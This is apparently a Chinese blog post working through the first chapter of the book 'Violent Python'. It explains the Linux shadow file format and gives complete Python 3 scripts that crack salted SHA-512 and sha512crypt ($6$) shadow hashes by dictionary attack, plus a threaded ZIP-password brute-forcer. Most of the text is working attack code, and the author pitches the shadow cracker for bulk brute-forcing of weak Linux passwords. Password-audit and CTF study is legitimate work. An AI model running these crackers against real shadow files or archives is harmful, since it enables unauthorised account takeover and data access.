Python絕技第一章 入門 python3實現密碼破解
前言
對我而言,武術的非凡之處在於它的簡單。簡單的方法也是正確的方法,同時武術也沒有什麼特別之處。越接近武術的真諦,招式表現上浪費越少
簡介
python 絕技
第一章是python
入門語法,兩個需要編寫的程式分別是用字典攻擊法破解UNIX口令
,暴力破解ZIP檔案
,兩者都是使用暴力法直接進行破解,另外第一個程式在當前的網路環境中已經不太適用了,我們將其升級為破解SHA-512 hash
的版本
背景故事
雖然在書中已經有背景故事的翻譯了,但是這裡我還是採用烏雲
之前翻譯的版本
C. Stoll的《杜鵑蛋》(1989)堪稱新派武俠的開山之作。它第一次把黑客活動與國家安全聯絡在一起。黑客極具破壞性的黑暗面也浮出海面,並且永遠改變了黑客的形象。迄今仍是經久不衰的暢銷書。Stoll是勞倫斯伯克利實驗室的天文學家和系統管理員。1986年夏,一個區區75美分的帳目錯誤引起了他的警覺,在追查這次未經授權的入侵過程中,他開始捲入一個錯綜複雜的電腦間諜案。神祕的入侵者是西德混沌俱樂部的成員。他們潛入美國,竊取敏感的軍事和安全情報。出售給克格勃,以換取現金及可卡因。一場網路跨國大搜索開始了,並牽涉出FBI、CIA、克格勃、西德郵電部等。《杜鵑蛋》為後來的黑客作品奠定了一個主題:追捕與反追捕的驚險故事。而且也開始了新模式:一個堅韌和智慧的孤膽英雄,成為國家安全力量的化身,與狡猾的對手展開**的較量。
SHA-512 hash 破解
環境 : python3
在破解之前我們先了解一下shadow格式
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
可以發現shadow中每一行對應這一個使用者的使用者名稱和密碼等資訊,格式為0:1:2:3:4:5:6:7:8
冒號是分割符,分別代表著,每個欄位分別代表著:
0:使用者名稱 1:密碼hash值 2:密碼修改距離1970年1月1日的時間 3:密碼將被允許修改之前的天數(0 表示“可在任何時間修改”) 4:系統將強制使用者修改為新密碼之前的天數(1 表示“永遠都不能修改”) 5:密碼過期之前,使用者將被警告過期的天數(-1 表示“沒有警告”) 6:密碼過期之後,系統自動禁用帳戶的天數(-1 表示“永遠不會禁用”) 7:該帳戶被禁用的天數(-1 表示“該帳戶被啟用”) 8:保留供將來使用
hash值一覽格式如:$id$salt$密文
id代表的是使用不同的加密演算法,不同的系統使用的演算法也不盡相同。salt是加密的時候需要用到鹽。最後就是密文。
數字和所使用的加密演算法對應關係:
格式 | 演算法 |
---|---|
$1 | md5 |
$2a | blowfish |
$2y | blowfish |
$5 | sha-256 |
$6 | sha-512 |
注意:如果密碼字串為*
,表示系統使用者不能被登入,為!
表示使用者名稱被禁用,如果密碼字串為空,表示沒有密碼。
這裡我們使用python3
中的hashlib
庫計算sha-512
hash=hashlib.sha512(salt.encode('utf-8'))
hash.update(word.encode( 'utf-8'))
print(hash.hexdigest())
這樣實現了sha-512
加密,但是,這裡的結果並不像是我們Linux
作業系統中的密碼,譬如我們上面舉例的密碼中:
XSpGgoB93STC4EFSlgpjg1
其中就包含了不在十六進位制中的字元
事實上以$6
為例並不是單純的sha512(pass+salt)
或者sha512(salt+passwd)
,而是經歷了一系列複雜的運算而獲得的。
我們先實現sha-512
的解密
import hashlib
'''
testPass(cryptPass)函式
功能:
傳入 cryptPass 待解密密碼
print 破解結果
演算法:窮舉法
'''
def testPass(cryptPass):
salt,shadowPass=cryptPass.split('$')[2],cryptPass.split('$')[3]
dictFile=open('dictionary.txt','r')
for word in dictFile.readlines():
word=word.strip()
# print(word)
hash=hashlib.sha512(salt.encode('utf-8'))
hash.update(word.encode('utf-8'))
# print(hash.hexdigest())
if shadowPass==hash.hexdigest():
print("[+] Found Password {}".format(word))
return
print("[-] Password Not Found ")
return
def main():
passFile=open('passwords.txt')
for line in passFile.readlines():
if ":" in line:
user=line.split(':')[0]
cryptPass=line.split(':')[1].strip(' ')
print("[*] Now cracking Password For :{}".format(user))
testPass(cryptPass)
if __name__ == '__main__':
main()
這裡的密碼檔案是我們構造的
root:$6$123$263fec58861449aacc1c328a4aff64aff4c62df4a2d50b3f207fa89b6e242c9aa778e7a8baeffef85b6ca6d2e7dc16ff0a760d59c13c238f6bcdc32f8ce9cc62:15503:0:99999:7:::
實際上是密文123
同時鹽值123
執行破解
破解成功
shadow密碼破解
上面舉例的密碼是我們在cmd5
網站上自行構造的,但*nix
作業系統上密碼並不是簡單的sha512(pass+salt)
或者sha512(salt+passwd)
,但在簡書上找到了一位師傅之前使用hashlib
來還原該加密演算法python生成shadow中密碼(SHA512)
import hashlib,math
def rstr_sha512(text: bytes) -> bytes:
sha512 = hashlib.sha512()
sha512.update(text)
return sha512.digest()
def _extend(source: bytes, size_ref: int) -> bytes :
extended = b"";
for i in range(math.floor(size_ref/64)):
extended += source;
extended += source[:size_ref % 64]
return extended;
def _sha512crypt_intermediate(password: bytes,salt: bytes) -> bytes:
#digest_a = rstr_sha512(password + salt)
digest_b = rstr_sha512(password + salt + password)
digest_b_extended = _extend(digest_b,len(password))
intermediate_input = password + salt + digest_b_extended
passwd_len = len(password)
while passwd_len!=0:
if passwd_len&1 == 1:
intermediate_input += digest_b
else:
intermediate_input += password
passwd_len >>= 1
return rstr_sha512(intermediate_input)
def _sha512crypt(password :bytes,salt :bytes,rounds :int) -> bytes:
digest_a = _sha512crypt_intermediate(password, salt)
p = _extend(rstr_sha512(password*len(password)),len(password))
s = _extend(rstr_sha512(salt*(16+digest_a[0])),len(salt))
digest = digest_a
for i in range(rounds):
c_input = b""
if i&1 :
c_input += p
else:
c_input += digest
if i % 3:
c_input += s
if i % 7:
c_input += p
if i & 1:
c_input += digest
else:
c_input += p
digest = rstr_sha512(c_input)
return digest
def sha512crypt(password :bytes,salt :bytes, rounds=5000) -> str:
salt = salt[:16] # max 16 bytes for salt
input = _sha512crypt(password, salt, rounds)
tab = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
order = [ 42, 21, 0, 1, 43, 22, 23, 2, 44, 45, 24, 3,
4, 46, 25, 26, 5, 47, 48, 27, 6, 7, 49, 28,
29, 8, 50, 51, 30, 9, 10, 52, 31, 32, 11, 53,
54, 33, 12, 13, 55, 34, 35, 14, 56, 57, 36, 15,
16, 58, 37, 38, 17, 59, 60, 39, 18, 19, 61, 40,
41, 20, 62, 63]
output = ""
for i in range(0,len(input),3):
# special case for the end of the input
if i+1 >= len(order): # i == 63
char_1 = input[order[i+0]] & 0b00111111
char_2 = (input[order[i+0]] & 0b11000000) >> 6
output += tab[char_1] + tab[char_2]
else:
char_1 = input[order[i+0]] & 0b00111111
char_2 = (((input[order[i+0]] & 0b11000000) >> 6) |
(input[order[i+1]] & 0b00001111) << 2)
char_3 = (
((input[order[i+1]] & 0b11110000) >> 4) |
(input[order[i+2]] & 0b00000011) << 4)
char_4 = (input[order[i+2]] & 0b11111100) >> 2
output += tab[char_1] + tab[char_2] + tab[char_3] + tab[char_4]
if rounds!=5000:
return "$6$rounds={}${}${}".format(rounds,salt.decode("utf-8"),output)
else:
return "$6${}${}".format(salt.decode("utf-8"),output)
if __name__ == "__main__":
# 與crypt.crypt("123456","$6$123456") 運算結果一致
print(sha512crypt(b"123456",b"123456",5000))
在ubuntu 16.04
虛擬機器裡面新增一個賬號為test123
,密碼為123
的使用者
接著檢視shadow
檔案中其對應的密碼
test123:$6$DhlRUwqV$Jln02cwolkp3adJjELMn9q2MxKRalcdzyyJnMg3EayVMgNQ0v9plYEnFns58sBkfUROfhT4Fsdksoxjfr5nVA/:18664:0:99999:7:::
將簡書的師傅程式碼修改為字典破解的版本
import hashlib,math
def rstr_sha512(text: bytes) -> bytes:
sha512 = hashlib.sha512()
sha512.update(text)
return sha512.digest()
def _extend(source: bytes, size_ref: int) -> bytes :
extended = b""
for i in range(math.floor(size_ref/64)):
extended += source
extended += source[:size_ref % 64]
return extended
def _sha512crypt_intermediate(password: bytes,salt: bytes) -> bytes:
#digest_a = rstr_sha512(password + salt)
digest_b = rstr_sha512(password + salt + password)
digest_b_extended = _extend(digest_b,len(password))
intermediate_input = password + salt + digest_b_extended
passwd_len = len(password)
while passwd_len!=0:
if passwd_len&1 == 1:
intermediate_input += digest_b
else:
intermediate_input += password
passwd_len >>= 1
return rstr_sha512(intermediate_input)
def _sha512crypt(password :bytes,salt :bytes,rounds :int) -> bytes:
digest_a = _sha512crypt_intermediate(password, salt)
p = _extend(rstr_sha512(password*len(password)),len(password))
s = _extend(rstr_sha512(salt*(16+digest_a[0])),len(salt))
digest = digest_a
for i in range(rounds):
c_input = b""
if i&1 :
c_input += p
else:
c_input += digest
if i % 3:
c_input += s
if i % 7:
c_input += p
if i & 1:
c_input += digest
else:
c_input += p
digest = rstr_sha512(c_input)
return digest
def sha512crypt(password :bytes,salt :bytes, rounds=5000) -> str:
salt = salt[:16] # max 16 bytes for salt
input = _sha512crypt(password, salt, rounds)
tab = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
order = [ 42, 21, 0, 1, 43, 22, 23, 2, 44, 45, 24, 3,
4, 46, 25, 26, 5, 47, 48, 27, 6, 7, 49, 28,
29, 8, 50, 51, 30, 9, 10, 52, 31, 32, 11, 53,
54, 33, 12, 13, 55, 34, 35, 14, 56, 57, 36, 15,
16, 58, 37, 38, 17, 59, 60, 39, 18, 19, 61, 40,
41, 20, 62, 63]
output = ""
for i in range(0,len(input),3):
# special case for the end of the input
if i+1 >= len(order): # i == 63
char_1 = input[order[i+0]] & 0b00111111
char_2 = (input[order[i+0]] & 0b11000000) >> 6
output += tab[char_1] + tab[char_2]
else:
char_1 = input[order[i+0]] & 0b00111111
char_2 = (((input[order[i+0]] & 0b11000000) >> 6) |
(input[order[i+1]] & 0b00001111) << 2)
char_3 = (
((input[order[i+1]] & 0b11110000) >> 4) |
(input[order[i+2]] & 0b00000011) << 4)
char_4 = (input[order[i+2]] & 0b11111100) >> 2
output += tab[char_1] + tab[char_2] + tab[char_3] + tab[char_4]
if rounds!=5000:
return "$6$rounds={}${}${}".format(rounds,salt.decode("utf-8"),output)
else:
return "$6${}${}".format(salt.decode("utf-8"),output)
def testPass(cryptPass):
salt,shadowPass=cryptPass.split('$')[2],cryptPass.split('$')[3]
dictFile=open('dictionary.txt','r')
for word in dictFile.readlines():
word=word.strip()
# print(word)
tempPassWord=sha512crypt(bytes(word, encoding = "utf8"), bytes(salt, encoding = "utf8"), 5000)
# print("temppassword is {}".format(tempPassWord))
# print("shadowpassword is {}".format(shadowPass))
if cryptPass==tempPassWord:
print("[+] Found Password {}".format(word))
return
print("[-] Password Not Found ")
return
def main():
passFile=open('passwords.txt')
for line in passFile.readlines():
if ":" in line:
user=line.split(':')[0]
cryptPass=line.split(':')[1].strip(' ')
print("[*] Now cracking Password For :{}".format(user))
testPass(cryptPass)
if __name__ == "__main__":
# 與crypt.crypt("123456","$6$123456") 運算結果一致
# print(sha512crypt(b"123",b"DhlRUwqV",5000))
main()
執行結果如圖:
破解成功,該指令碼可用於Linux
弱口令批量爆破
zip口令破解
zip口令破解比較簡單,破解的成功與否還是在於密碼檔案的構造,同時可能會出現在CTF
題目中,陰間題目比如說設定壓縮包密碼為不可見字元
,需要自己編寫指令碼來進行破解
另外如果python3
程式碼完全按照書上這麼寫會有一個報錯
def extractFile(zFile,password):
try:
# print(password)
zFile.extractall(pwd=password)
print("[+] Found password {}".format(password))
except Exception as e:
pass
需要將password
轉為二進位制傳入
zFile.extractall(pwd=password.encode(encoding='utf-8', errors = 'strict'))
完整程式碼如下
import zipfile
import optparse
from threading import Thread
def extractFile(zFile,password):
try:
# print(password)
zFile.extractall(pwd=password.encode(encoding='utf-8', errors = 'strict'))
print("[+] Found password {}".format(password))
except Exception as e:
pass
def main():
parser=optparse.OptionParser("引數說明 -f <壓縮包檔名> -d <密碼txt檔名>")
parser.add_option('-f',dest='zname',type='string',help='壓縮包檔名')
parser.add_option('-d',dest='dname',type='string',help='密碼檔名')
(options,args)=parser.parse_args()
if (options.zname==None) or (options.dname==None):
print(parser.usage)
exit(0)
zname,dname=options.zname,options.dname
zFile=zipfile.ZipFile(zname)
passFile=open(dname)
for line in passFile.readlines():
password=line.strip()
t=Thread(target=extractFile,args=(zFile,password))
t.start()
return
if __name__ == '__main__':
main()
建立一個密碼為admin
的壓縮包 key.zip
使用程式破解之
破解成功
完整程式碼和字典檔案放在github
上了,歡迎師傅們Star:https://github.com/Cl0udG0d/pythonStunt
參考連結
-
http://www.vuln.cn/8178
-
https://gv7.me/articles/2017/batch-crack-shadows/
-
https://blog.csdn.net/deargua/article/details/6666121
-
https://www.jianshu.com/p/9da78abd6a96